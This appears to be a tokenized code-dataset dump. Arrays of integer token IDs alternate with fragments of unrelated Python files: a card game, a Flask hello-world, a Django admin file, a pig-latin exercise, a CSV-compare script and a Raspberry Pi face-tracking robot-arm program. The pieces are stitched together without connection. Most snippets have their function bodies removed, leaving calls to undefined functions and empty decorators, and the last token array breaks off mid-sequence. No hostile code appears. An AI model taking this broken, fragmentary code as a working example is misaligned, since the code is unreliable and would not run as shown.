220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2657, 62, 8367, 796, 1105, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2657, 62, 8367, 796, 1367, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2657, 62, 8367, 796, 2657, 62, 8367, 1343, 965, 7, 8367, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1844, 62, 35875, 13, 33295, 19510, 9517, 11, 493, 7, 9517, 62, 8367, 22305, 628, 220, 220, 220, 1441, 1844, 62, 35875, 628, 198, 4299, 36273, 7, 1820, 27761, 2599, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 770, 2753, 262, 5128, 1351, 290, 32299, 829, 340, 13, 220, 198, 220, 220, 220, 554, 1175, 13, 9078, 340, 318, 973, 284, 36273, 13136, 286, 4116, 336, 585, 287, 8341, 13, 198, 220, 220, 220, 26848, 1330, 4738, 13, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 555, 1477, 1648, 992, 796, 616, 27761, 198, 220, 220, 220, 32299, 992, 796, 17635, 198, 220, 220, 220, 329, 954, 287, 2837, 357, 15, 11, 11925, 7, 403, 1477, 1648, 992, 8, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 2298, 796, 10148, 198, 220, 220, 220, 220, 220, 220, 220, 981, 357, 27729, 6624, 10148, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2298, 796, 4738, 13, 25541, 7, 403, 1477, 1648, 992, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 32299, 992, 13, 33295, 7, 27729, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 555, 1477, 1648, 992, 13, 28956, 7, 27729, 8, 198, 220, 220, 220, 1441, 32299, 992, 628, 198, 4299, 3599, 43365, 7, 35875, 2599, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 770, 2163, 36319, 262, 29107, 856, 4116, 284, 262, 734, 1938, 13, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 1021, 15, 796, 17635, 198, 220, 220, 220, 1021, 16, 796, 17635, 198, 220, 220, 220, 954, 796, 657, 628, 220, 220, 220, 329, 1730, 287, 2837, 7, 15, 11, 11925, 7, 35875, 8, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 14645, 262, 2496, 2137, 618, 7219, 1123, 2657, 13, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 770, 12497, 257, 1103, 2657, 1730, 13, 198, 220, 220, 220, 220, 220, 220, 220, 611, 954, 4064, 362, 6624, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1021, 15, 13, 33295, 7, 35875, 58, 31769, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1021, 16, 13, 33295, 7, 35875, 58, 31769, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 2427, 286, 764, 33295, 3419, 314, 743, 765, 284, 779, 7550, 284, 1295, 649, 4116, 379, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 262, 2166, 286, 262, 1351, 13, 770, 561, 4079, 257, 1103, 1730, 772, 5699, 13, 198, 220, 220, 220, 220, 220, 220, 220, 954, 15853, 352, 198, 220, 220, 220, 1441, 357, 4993, 15, 11, 1021, 16, 8, 628, 198, 4299, 3601, 62, 43365, 7, 79, 16, 4993, 11, 279, 17, 4993, 2599, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 770, 20842, 262, 1459, 2832, 329, 262, 1938, 13, 198, 220, 220, 220, 632, 691, 20842, 262, 1986, 1988, 290, 6050, 13, 198, 220, 220, 220, 632, 857, 407, 3601, 262, 11513, 1988, 329, 262, 2657, 13, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 3601, 19203, 14140, 352, 468, 3256, 18896, 7, 79, 16, 4993, 828, 705, 9517, 7, 82, 2599, 705, 8, 198, 220, 220, 220, 329, 2657, 62, 24874, 287, 279, 16, 4993, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 357, 9517, 62, 24874, 58, 15, 4357, 886, 11639, 705, 8, 198, 220, 220, 220, 3601, 10786, 59, 77, 11537, 628, 220, 220, 220, 3601, 19203, 14140, 362, 468, 3256, 18896, 7, 79, 17, 4993, 828, 705, 9517, 7, 82, 2599, 705, 8, 198, 220, 220, 220, 329, 2657, 62, 24874, 287, 279, 17, 4993, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 357, 9517, 62, 24874, 58, 15, 4357, 886, 11639, 705, 8, 198, 220, 220, 220, 3601, 10786, 59, 77, 11537, 628, 198, 4299, 1907, 7, 4993, 16, 11, 1021, 17, 2599, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 770, 2163, 318, 262, 4755, 329, 14176, 262, 4116, 198, 220, 220, 220, 383, 2163, 13423, 362, 8341, 286, 12777, 2374, 7268, 262, 1938, 2832, 13, 198, 220, 220, 220, 1672, 5128, 25, 47527, 18429, 11, 1478, 828, 357, 42, 39, 11, 1511, 828, 357, 48, 39, 11, 1105, 828, 2644, 2361, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 2657, 16, 796, 10148, 198, 220, 220, 220, 2657, 17, 796, 10148, 198, 220, 220, 220, 2137, 16, 75, 1025, 796, 17635, 198, 220, 220, 220, 2137, 17, 75, 1025, 796, 17635, 628, 220, 220, 220, 981, 1021, 16, 14512, 17635, 290, 1021, 17, 14512, 685, 5974, 628, 220, 220, 220, 220, 220, 220, 220, 981, 1021, 16, 14512, 17635, 290, 1021, 17, 14512, 685, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7499, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 16962, 5166, 25, 705, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 14140, 352, 25, 46083, 1021, 16, 58, 15, 7131, 15, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 14140, 362, 25, 46083, 1021, 17, 58, 15, 7131, 15, 12962, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 1303, 29113, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 46424, 2235, 10468, 8410, 14468, 4242, 2, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 1021, 16, 58, 15, 7131, 15, 60, 6624, 1021, 17, 58, 15, 7131, 15, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 1175, 7, 4993, 16, 11, 1021, 17, 11, 2137, 16, 75, 1025, 11, 2137, 17, 75, 1025, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1021, 16, 13, 12924, 7, 15, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1021, 17, 13, 12924, 7, 15, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 46424, 41335, 9328, 11837, 29397, 4177, 2849, 317, 8202, 6089, 2, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 1303, 29113, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 1021, 16, 1875, 1021, 17, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 14140, 352, 7864, 1021, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2137, 16, 75, 1025, 13, 33295, 7, 4993, 16, 58, 15, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2137, 16, 75, 1025, 13, 33295, 7, 4993, 17, 58, 15, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1021, 16, 13, 12924, 7, 15, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1021, 17, 13, 12924, 7, 15, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 14140, 362, 7864, 1021, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2137, 17, 75, 1025, 13, 33295, 7, 4993, 16, 58, 15, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2137, 17, 75, 1025, 13, 33295, 7, 4993, 17, 58, 15, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1021, 16, 13, 12924, 7, 15, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1021, 17, 13, 12924, 7, 15, 8, 628, 220, 220, 220, 220, 220, 220, 220, 705, 7061, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 8820, 434, 2174, 3951, 284, 766, 703, 4116, 1445, 1141, 32299, 1359, 1429, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 766, 2174, 2912, 2512, 1165, 0, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 1783, 6329, 8421, 911, 18137, 1783, 6329, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 59, 2, 27761, 3256, 18896, 7, 4993, 16, 828, 705, 4993, 16, 3256, 1021, 16, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 59, 2, 27761, 3256, 18896, 7, 4993, 17, 828, 705, 4993, 17, 3256, 1021, 17, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7499, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 59, 2, 27761, 3256, 18896, 7, 7829, 16, 75, 1025, 828, 705, 79, 16, 75, 1025, 3256, 2137, 16, 75, 1025, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 59, 2, 27761, 3256, 18896, 7, 7829, 17, 75, 1025, 828, 705, 79, 17, 75, 1025, 3256, 2137, 17, 75, 1025, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7499, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 8820, 434, 2029, 3951, 284, 766, 703, 4116, 1445, 1141, 32299, 1359, 1429, 198, 220, 220, 220, 220, 220, 220, 220, 705, 7061, 220, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 220, 9805, 3548, 5195, 857, 428, 9178, 262, 1351, 973, 329, 262, 4578, 28358, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1021, 16, 6624, 685, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 2484, 1648, 1359, 2137, 352, 43054, 82, 1021, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1021, 16, 796, 36273, 7, 7829, 16, 75, 1025, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1208, 628, 220, 220, 220, 220, 220, 220, 220, 611, 1021, 17, 6624, 685, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 2484, 1648, 1359, 2137, 362, 43054, 82, 1021, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1021, 17, 796, 36273, 7, 7829, 17, 75, 1025, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1208, 628, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 8820, 434, 2174, 3951, 284, 766, 703, 4116, 1445, 1141, 32299, 1359, 1429, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 766, 2029, 2912, 2512, 1165, 0, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 1783, 6329, 3260, 911, 18137, 19351, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 59, 2, 27761, 3256, 18896, 7, 4993, 16, 828, 705, 4993, 16, 3256, 1021, 16, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 59, 2, 27761, 3256, 18896, 7, 4993, 17, 828, 705, 4993, 17, 3256, 1021, 17, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7499, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 59, 2, 27761, 3256, 18896, 7, 7829, 16, 75, 1025, 828, 705, 79, 16, 75, 1025, 3256, 2137, 16, 75, 1025, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 59, 2, 27761, 3256, 18896, 7, 7829, 17, 75, 1025, 828, 705, 79, 17, 75, 1025, 3256, 2137, 17, 75, 1025, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7499, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 8820, 434, 2029, 3951, 284, 766, 703, 4116, 1445, 1141, 32299, 1359, 1429, 198, 220, 220, 220, 220, 220, 220, 220, 705, 7061, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 2198, 284, 766, 611, 2137, 1021, 318, 991, 6565, 706, 36273, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 611, 340, 318, 584, 2137, 7864, 3228, 628, 220, 220, 220, 220, 220, 220, 220, 611, 1021, 16, 6624, 685, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 14140, 362, 24423, 3228, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1208, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1021, 17, 6624, 685, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 14140, 352, 24423, 3228, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1208, 628, 198, 4299, 1175, 7, 4993, 16, 11, 1021, 17, 11, 2137, 16, 75, 1025, 11, 2137, 17, 75, 1025, 2599, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 1002, 734, 4116, 2872, 287, 262, 1175, 2163, 428, 530, 38709, 262, 9839, 13, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 3601, 19203, 16279, 10185, 11537, 198, 220, 220, 220, 3601, 19203, 47, 16, 2657, 25, 46083, 1021, 16, 58, 15, 7131, 15, 4357, 705, 47, 17, 2657, 25, 46083, 1021, 17, 58, 15, 7131, 15, 12962, 198, 220, 220, 220, 3601, 19203, 34, 1371, 319, 262, 1627, 25, 705, 8, 198, 220, 220, 220, 3601, 19203, 220, 220, 220, 220, 220, 220, 220, 220, 220, 350, 16, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 350, 17, 11537, 198, 220, 220, 220, 329, 2657, 287, 2837, 7, 18, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 19203, 220, 220, 220, 220, 220, 220, 220, 220, 46083, 1021, 16, 58, 9517, 7131, 15, 4357, 1021, 17, 58, 9517, 7131, 15, 60, 198, 220, 220, 220, 220, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1303, 2312, 3951, 923, 262, 983, 290, 41216, 262, 6203, 290, 2137, 338, 2832, 13, 198, 220, 220, 220, 4116, 796, 2315, 3419, 198, 220, 220, 220, 4116, 796, 36273, 7, 27761, 8, 198, 220, 220, 220, 4116, 796, 3599, 43365, 7, 27761, 8, 198, 220, 220, 220, 279, 16, 4993, 796, 4116, 58, 15, 60, 220, 198, 220, 220, 220, 279, 17, 4993, 796, 4116, 58, 16, 60, 220, 198, 220, 220, 220, 1303, 1303, 29113, 29113, 4242, 2, 628, 220, 220, 220, 1303, 770, 481, 3601, 262, 1938, 3599, 2832, 13, 198, 220, 220, 220, 3601, 62, 43365, 7, 79, 16, 4993, 11, 279, 17, 4993, 8, 628, 198, 220, 220, 220, 1907, 7, 79, 16, 4993, 11, 279, 17, 4993, 8, 628 ]
2.189347
3,248
import os import json import shutil from peewee import SqliteDatabase from wearebeautiful.db_model import DBModel, db, create_from_manifest from wearebeautiful.manifest import validate_manifest import config DB_FILE = "wab-models.db" MIN_SURFACE_MED_SIZE = 8 * 1024 * 1024 MAX_SURFACE_MED_SIZE = 12 * 1024 * 1024 MIN_SURFACE_LOW_SIZE = 1.5 * 1024 * 1024 MAX_SURFACE_LOW_SIZE = 5 * 1024 * 1024
[ 11748, 28686, 198, 11748, 33918, 198, 11748, 4423, 346, 198, 198, 6738, 613, 413, 1453, 1330, 311, 13976, 578, 38105, 198, 6738, 356, 533, 40544, 4135, 13, 9945, 62, 19849, 1330, 20137, 17633, 11, 20613, 11, 2251, 62, 6738, 62, 805, 8409, 198, 6738, 356, 533, 40544, 4135, 13, 805, 8409, 1330, 26571, 62, 805, 8409, 198, 11748, 4566, 198, 198, 11012, 62, 25664, 796, 366, 86, 397, 12, 27530, 13, 9945, 1, 198, 23678, 62, 50, 4261, 49836, 62, 30733, 62, 33489, 796, 807, 1635, 28119, 1635, 28119, 198, 22921, 62, 50, 4261, 49836, 62, 30733, 62, 33489, 796, 1105, 1635, 28119, 1635, 28119, 198, 23678, 62, 50, 4261, 49836, 62, 43, 3913, 62, 33489, 796, 352, 13, 20, 1635, 28119, 1635, 28119, 198, 22921, 62, 50, 4261, 49836, 62, 43, 3913, 62, 33489, 796, 642, 1635, 28119, 1635, 28119, 628, 628, 628, 198 ]
2.765517
145
# print(pig_latin("Python")) # print(pig_latin("computer")) # print(pig_latin(("air"))) # print(ubbi_dubbi()) get_running_avg()
[ 198, 198, 2, 3601, 7, 79, 328, 62, 75, 10680, 7203, 37906, 48774, 198, 2, 3601, 7, 79, 328, 62, 75, 10680, 7203, 33215, 48774, 198, 2, 3601, 7, 79, 328, 62, 75, 10680, 7, 7203, 958, 1, 22305, 628, 198, 198, 2, 3601, 7, 549, 8482, 62, 67, 549, 8482, 28955, 628, 198, 198, 1136, 62, 20270, 62, 615, 70, 3419, 198 ]
2.15873
63
from flask import Flask app = Flask(__name__) @app.route('/') if __name__ == '__main__': app.run()
[ 6738, 42903, 1330, 46947, 198, 198, 1324, 796, 46947, 7, 834, 3672, 834, 8, 628, 198, 31, 1324, 13, 38629, 10786, 14, 11537, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 598, 13, 5143, 3419, 198 ]
2.454545
44
from django.contrib import admin # Register your models here. from accounts.models import Customer admin.site.register(Customer)
[ 6738, 42625, 14208, 13, 3642, 822, 1330, 13169, 198, 198, 2, 17296, 534, 4981, 994, 13, 198, 6738, 5504, 13, 27530, 1330, 22092, 198, 198, 28482, 13, 15654, 13, 30238, 7, 44939, 8 ]
3.939394
33
''' def compare(file1, file2): f1 = open(file1, 'r') f2 = open(file2, 'r') right_counter = 0 wrong_lines = [] for i in range(50): r1 = f1.readline() r2 = f2.readline() r1 = r1.strip('\n') r2 = r2.strip('\n') if r1[-1:] == r2[-1:]: right_counter += 1 else: wrong_lines.append(i) print('Wrong lines are: %s\nAmount of wrongs is %i\n\nAmount of rights is %i\nWell Done!' % (str(wrong_lines), len(wrong_lines), right_counter))''' compare('actual_brazil_2014.csv', 'predicted_brazil_5')
[ 198, 7061, 6, 198, 4299, 8996, 7, 7753, 16, 11, 2393, 17, 2599, 198, 197, 69, 16, 796, 1280, 7, 7753, 16, 11, 705, 81, 11537, 198, 197, 69, 17, 796, 1280, 7, 7753, 17, 11, 705, 81, 11537, 628, 197, 3506, 62, 24588, 796, 657, 198, 197, 36460, 62, 6615, 796, 17635, 198, 197, 1640, 1312, 287, 2837, 7, 1120, 2599, 198, 197, 197, 81, 16, 796, 277, 16, 13, 961, 1370, 3419, 198, 197, 197, 81, 17, 796, 277, 17, 13, 961, 1370, 3419, 198, 197, 197, 81, 16, 796, 374, 16, 13, 36311, 10786, 59, 77, 11537, 198, 197, 197, 81, 17, 796, 374, 17, 13, 36311, 10786, 59, 77, 11537, 198, 197, 197, 361, 374, 16, 58, 12, 16, 47715, 6624, 374, 17, 58, 12, 16, 25, 5974, 198, 197, 197, 197, 3506, 62, 24588, 15853, 352, 198, 197, 197, 17772, 25, 198, 197, 197, 197, 36460, 62, 6615, 13, 33295, 7, 72, 8, 198, 197, 4798, 10786, 39213, 506, 3951, 389, 25, 4064, 82, 59, 77, 31264, 286, 2642, 82, 318, 4064, 72, 59, 77, 59, 77, 31264, 286, 2489, 318, 4064, 72, 59, 77, 5779, 24429, 13679, 4064, 357, 2536, 7, 36460, 62, 6615, 828, 18896, 7, 36460, 62, 6615, 828, 826, 62, 24588, 4008, 7061, 6, 628, 198, 5589, 533, 10786, 50039, 62, 65, 7098, 62, 4967, 13, 40664, 3256, 705, 28764, 5722, 62, 65, 7098, 62, 20, 11537, 198 ]
2.151899
237
#!/usr/bin/env python # -*- coding: utf-8 -*- from db import SessionFactory, Engine __all__ = [ SessionFactory, Engine ]
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 6738, 20613, 1330, 23575, 22810, 11, 7117, 198, 198, 834, 439, 834, 796, 685, 198, 197, 36044, 22810, 11, 198, 197, 13798, 198, 60, 628 ]
2.604167
48
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Глобальный файл настроек """ # ###################################################################################################################### # Класс для выделения текста # ###################################################################################################################### class Color: """Класс для выделения текста""" # ------------------------------------------------------------------------------------------------------------------ # Конструктор # ------------------------------------------------------------------------------------------------------------------ # ------------------------------------------------------------------------------------------------------------------ # Свойства # ------------------------------------------------------------------------------------------------------------------ @property @property @property @property @property # ###################################################################################################################### # Класс для сообщений # ###################################################################################################################### class Messages(Color): """Класс для сообщений""" # ------------------------------------------------------------------------------------------------------------------ # Конструктор # ------------------------------------------------------------------------------------------------------------------
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 37811, 198, 140, 241, 30143, 25443, 109, 16142, 30143, 45367, 22177, 45035, 140, 117, 220, 141, 226, 16142, 140, 117, 30143, 12466, 121, 16142, 21727, 20375, 21169, 15166, 16843, 31583, 198, 37811, 628, 198, 2, 1303, 29113, 29113, 29113, 14468, 4242, 2, 198, 2, 12466, 248, 30143, 16142, 21727, 21727, 12466, 112, 30143, 40623, 12466, 110, 45035, 43666, 16843, 30143, 16843, 22177, 18849, 40623, 220, 20375, 16843, 31583, 21727, 20375, 16142, 198, 2, 1303, 29113, 29113, 29113, 14468, 4242, 2, 198, 4871, 5315, 25, 198, 220, 220, 220, 37227, 140, 248, 30143, 16142, 21727, 21727, 12466, 112, 30143, 40623, 12466, 110, 45035, 43666, 16843, 30143, 16843, 22177, 18849, 40623, 220, 20375, 16843, 31583, 21727, 20375, 16142, 37811, 628, 220, 220, 220, 1303, 16529, 47232, 438, 198, 220, 220, 220, 1303, 12466, 248, 15166, 22177, 21727, 20375, 21169, 35072, 31583, 20375, 15166, 21169, 198, 220, 220, 220, 1303, 16529, 47232, 438, 628, 220, 220, 220, 1303, 16529, 47232, 438, 198, 220, 220, 220, 1303, 12466, 94, 38857, 25443, 117, 21727, 20375, 38857, 16142, 198, 220, 220, 220, 1303, 16529, 47232, 438, 628, 220, 220, 220, 2488, 26745, 628, 220, 220, 220, 2488, 26745, 628, 220, 220, 220, 2488, 26745, 628, 220, 220, 220, 2488, 26745, 628, 220, 220, 220, 2488, 26745, 628, 198, 2, 1303, 29113, 29113, 29113, 14468, 4242, 2, 198, 2, 12466, 248, 30143, 16142, 21727, 21727, 12466, 112, 30143, 40623, 220, 21727, 15166, 25443, 109, 141, 231, 16843, 22177, 18849, 140, 117, 198, 2, 1303, 29113, 29113, 29113, 14468, 4242, 2, 198, 4871, 43534, 7, 10258, 2599, 198, 220, 220, 220, 37227, 140, 248, 30143, 16142, 21727, 21727, 12466, 112, 30143, 40623, 220, 21727, 15166, 25443, 109, 141, 231, 16843, 22177, 18849, 140, 117, 37811, 628, 220, 220, 220, 1303, 16529, 47232, 438, 198, 220, 220, 220, 1303, 12466, 248, 15166, 22177, 21727, 20375, 21169, 35072, 31583, 20375, 15166, 21169, 198, 220, 220, 220, 1303, 16529, 47232, 438, 198 ]
4.571014
345
import cv2 import imutils import time import threading import serial import RPi.GPIO as GPIO from bluetooth import * from serial.serialutil import SerialException # -------------------변수 선언 부분------------------- port = "/dev/ttyACM0" reset_timer_seconds = -1 angles = [150, 120, 130] arduino = serial.Serial(port, 115200, timeout=1) haarcascade_file = '/home/pi/ArduinoRobotArm_MDP/RaspberryPi/haarcascade/haarcascade_frontalface_alt2.xml' GPIO.setmode(GPIO.BCM) GPIO.setup(2, GPIO.OUT) GPIO.setup(3, GPIO.OUT) server_socket = BluetoothSocket(RFCOMM) # -------------------타이머 쓰레드 부분------------------- # -------------------블루투스 함수 부분------------------- # -------------------모터 제어 함수 부분------------------- """ 멀티스레드로 send_serial과 read_serial를 상주시켜서 계속해서 시리얼을 주고 받음. """ # -------------------OpenCV 함수 부분------------------- faceCascade = cv2.CascadeClassifier(haarcascade_file) # 얼굴 학습 파일 불러오기 # eyeCascade = cv2.CascadeClassifier('./haarcascade/haarcascade_eye.xml') video_capture = cv2.VideoCapture(0) prevTime = 0 # -------------------초기화 부분------------------- read_thread = threading.Thread(target=read_serial, args=(arduino,)) read_thread.start() send_thread = threading.Thread(target=send_serial, args=(arduino,)) send_thread.start() timer_thread = threading.Thread(target=reset_timer) timer_thread.start() bluetooth_thread = threading.Thread(target=get_bluetooth) bluetooth_thread.start() # -------------------반복문 부분------------------- while True: _, frame = video_capture.read() curTime = time.time() sec = curTime - prevTime prevTime = curTime fps = 1 / sec fps = "FPS : %0.1f" % fps frame = imutils.resize(cv2.flip(frame, 1), width=320, height=240) # 라즈베리파이 연산력 부족으로 해상도 리사이즈 gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) canvas = detect(gray, frame) cv2.rectangle(frame, (110, 120), (210, 60), (0, 0, 255), 2) cv2.putText(canvas, fps, (0, 13), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 255, 0)) cv2.imshow('canvas', canvas) if cv2.waitKey(30) == 27: # esc 눌렀을때 종료 break video_capture.release() cv2.destroyAllWindows()
[ 11748, 269, 85, 17, 198, 11748, 545, 26791, 198, 11748, 640, 198, 11748, 4704, 278, 198, 11748, 11389, 198, 11748, 25812, 72, 13, 16960, 9399, 355, 50143, 198, 6738, 48208, 16271, 1330, 1635, 198, 6738, 11389, 13, 46911, 22602, 1330, 23283, 16922, 198, 198, 2, 34400, 6329, 167, 111, 222, 168, 230, 246, 23821, 226, 254, 168, 244, 116, 31619, 114, 222, 167, 114, 226, 1783, 6329, 198, 634, 796, 12813, 7959, 14, 42852, 2246, 44, 15, 1, 198, 42503, 62, 45016, 62, 43012, 796, 532, 16, 198, 27787, 796, 685, 8628, 11, 7982, 11, 11323, 60, 198, 446, 84, 2879, 796, 11389, 13, 32634, 7, 634, 11, 12279, 2167, 11, 26827, 28, 16, 8, 198, 3099, 5605, 28966, 62, 7753, 796, 31051, 11195, 14, 14415, 14, 3163, 24493, 14350, 313, 26560, 62, 44, 6322, 14, 49, 17653, 38729, 14, 3099, 5605, 28966, 14, 3099, 5605, 28966, 62, 8534, 1604, 558, 62, 2501, 17, 13, 19875, 6, 198, 16960, 9399, 13, 2617, 14171, 7, 16960, 9399, 13, 2749, 44, 8, 198, 16960, 9399, 13, 40406, 7, 17, 11, 50143, 13, 12425, 8, 198, 16960, 9399, 13, 40406, 7, 18, 11, 50143, 13, 12425, 8, 198, 15388, 62, 44971, 796, 19263, 39105, 7, 41150, 2662, 44, 8, 628, 198, 2, 34400, 6329, 169, 225, 222, 35975, 112, 167, 101, 116, 23821, 241, 108, 167, 254, 230, 167, 241, 250, 31619, 114, 222, 167, 114, 226, 1783, 6329, 628, 198, 2, 34400, 6329, 167, 116, 242, 167, 96, 101, 169, 230, 105, 168, 232, 97, 220, 47991, 101, 168, 230, 246, 31619, 114, 222, 167, 114, 226, 1783, 6329, 628, 198, 2, 34400, 6329, 167, 103, 101, 169, 226, 108, 23821, 254, 250, 168, 244, 112, 220, 47991, 101, 168, 230, 246, 31619, 114, 222, 167, 114, 226, 1783, 6329, 198, 37811, 198, 167, 102, 222, 169, 233, 108, 168, 232, 97, 167, 254, 230, 167, 241, 250, 167, 94, 250, 3758, 62, 46911, 166, 111, 120, 1100, 62, 46911, 167, 98, 120, 23821, 225, 223, 168, 96, 